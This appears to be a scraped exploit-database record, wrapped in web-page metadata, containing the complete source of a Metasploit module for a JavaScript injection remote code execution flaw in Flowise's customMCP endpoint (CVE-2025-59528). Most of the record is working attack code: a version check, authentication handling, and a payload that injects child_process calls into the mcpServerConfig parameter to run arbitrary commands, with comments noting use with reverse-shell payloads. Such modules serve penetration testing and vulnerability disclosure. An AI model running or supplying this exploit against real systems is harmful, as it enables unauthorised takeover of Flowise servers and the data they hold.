{“lastseen”:”2025-11-24T16:37:59″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.6. The vulnerability exists in the customMCP endpoint \/api\/v1\/node-load-method\/customMCP located in…”,”published”:”2025-11-24T00:00:00″,”modified”:”2025-11-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Flowise JS Injection Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:211933″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-59528″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::Remote::HTTP::Flowise\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Flowise JS Injection RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a remote code execution vulnerability in Flowise versions \\u003e= 2.2.7-patch.1\\n and \\u003c 3.0.6. The vulnerability exists in the customMCP endpoint (\/api\/v1\/node-load-method\/customMCP)\\n located in packages\/components\/nodes\/tools\/MCP\/CustomMCP\/CustomMCP.ts, which allows users to execute\\n arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the\\n convertToValidJSONString function that uses Function(‘return ‘ + inputString)(). For versions \\u003c 3.0.1,\\n the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables\\n are not configured. For versions \\u003e= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is\\n required due to JWT token verification.\\n },\\n ‘Author’ =\\u003e [\\n ‘Kim SooHyun (im-soohyun)’, # Vulnerability discovery\\n ‘nltt0’, # Original exploit PoC\\n ‘Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e’ # Metasploit module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-59528’],\\n [‘EDB’, ‘52440’]\\n ],\\n ‘Platform’ =\\u003e %w[unix linux win],\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e \\”\\\\x0d\\\\x0a\\\\x5c\\\\x22\\” # \\\\r \\\\n \\\\ \\”\\n },\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command’,\\n {\\n ‘Platform’ =\\u003e %w[unix linux],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘DefaultOptions’ =\\u003e {\\n ‘FETCH_COMMAND’ =\\u003e ‘WGET’\\n }\\n # tested with cmd\/linux\/http\/x64\/meterpreter_reverse_tcp\\n }\\n ],\\n [\\n ‘Windows Command’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD\\n # tested with cmd\/windows\/http\/x64\/meterpreter_reverse_tcp\\n }\\n ]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘2025-09-13’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DefaultOptions’ =\\u003e {\\n ‘RPORT’ =\\u003e 3000\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options([\\n OptString.new(‘FLOWISE_EMAIL’, [false, ‘Flowise email for JWT auth (required for versions \\u003e= 3.0.1)’, ”]),\\n OptString.new(‘FLOWISE_PASSWORD’, [false, ‘Flowise password (JWT for \\u003e= 3.0.1, Basic Auth for \\u003c 3.0.1)’, ”]),\\n OptString.new(‘FLOWISE_USERNAME’, [false, ‘Flowise username for Basic Auth (required if env var is set)’, ”])\\n ])\\n end\\n \\n def check\\n version = flowise_get_version\\n return CheckCode::Unknown(‘Could not retrieve Flowise version’) unless version\\n \\n print_status(\\”Flowise version detected: #{version}\\”)\\n \\n # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025)\\n # Note: Rex::Version parses \\”2.2.7-patch.1\\” as \\”2.2.7.pre.patch.1\\”, so we check \\u003e= 2.2.7\\n if (version \\u003e= Rex::Version.new(‘2.2.7’) || version.to_s.include?(‘2.2.7’)) \\u0026\\u0026 version \\u003c Rex::Version.new(‘3.0.6’)\\n base_msg = ‘(affected: \\u003e= 2.2.7-patch.1 and \\u003c 3.0.6)’\\n auth_msg = version \\u003e= Rex::Version.new(‘3.0.1’) ? ‘ (auth required)’ : ‘ (may work unauthenticated)’\\n return CheckCode::Appears(\\”#{base_msg}#{auth_msg}\\”)\\n end\\n \\n CheckCode::Safe(\\”Version #{version} is not vulnerable\\”)\\n end\\n \\n def execute_command(cmd, _opts = {})\\n requires_auth = flowise_requires_auth?\\n email = datastore[‘FLOWISE_EMAIL’]\\n password = datastore[‘FLOWISE_PASSWORD’]\\n has_credentials = !email.blank? \\u0026\\u0026 !password.blank?\\n \\n if requires_auth \\u0026\\u0026 !has_credentials\\n fail_with(Failure::NoAccess, ‘Authentication required – set FLOWISE_EMAIL and FLOWISE_PASSWORD’)\\n end\\n \\n if has_credentials\\n begin\\n flowise_login(email, password)\\n rescue Msf::Exploit::Failed\\n vprint_warning(‘Login failed, but continuing without authentication (may work for versions \\u003c 3.0.1)’) unless requires_auth\\n raise if requires_auth\\n end\\n end\\n \\n # BadChars ensures \\\\r \\\\n \\\\ \\” are not in the payload\\n js_payload = ‘{x:(function(){const cp = process.mainModule.require(\\”child_process\\”);’ \\\\\\n \\”cp.exec(\\\\\\”#{cmd}\\\\\\”,()=\\u003e{});return 1;})()}\\”\\n \\n payload_data = {\\n ‘loadMethod’ =\\u003e ‘listActions’,\\n ‘inputs’ =\\u003e {\\n ‘mcpServerConfig’ =\\u003e js_payload\\n }\\n }\\n \\n opts = {\\n username: datastore[‘FLOWISE_USERNAME’],\\n password: datastore[‘FLOWISE_PASSWORD’]\\n }\\n \\n flowise_send_custommcp_request(payload_data, opts)\\n end\\n \\n def exploit\\n fail_with(Failure::PayloadFailed, ‘Failed to run payload’) unless execute_command(payload.encoded)\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211933″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211933\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-24T16:37:59″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.6. The vulnerability exists…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-27426","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n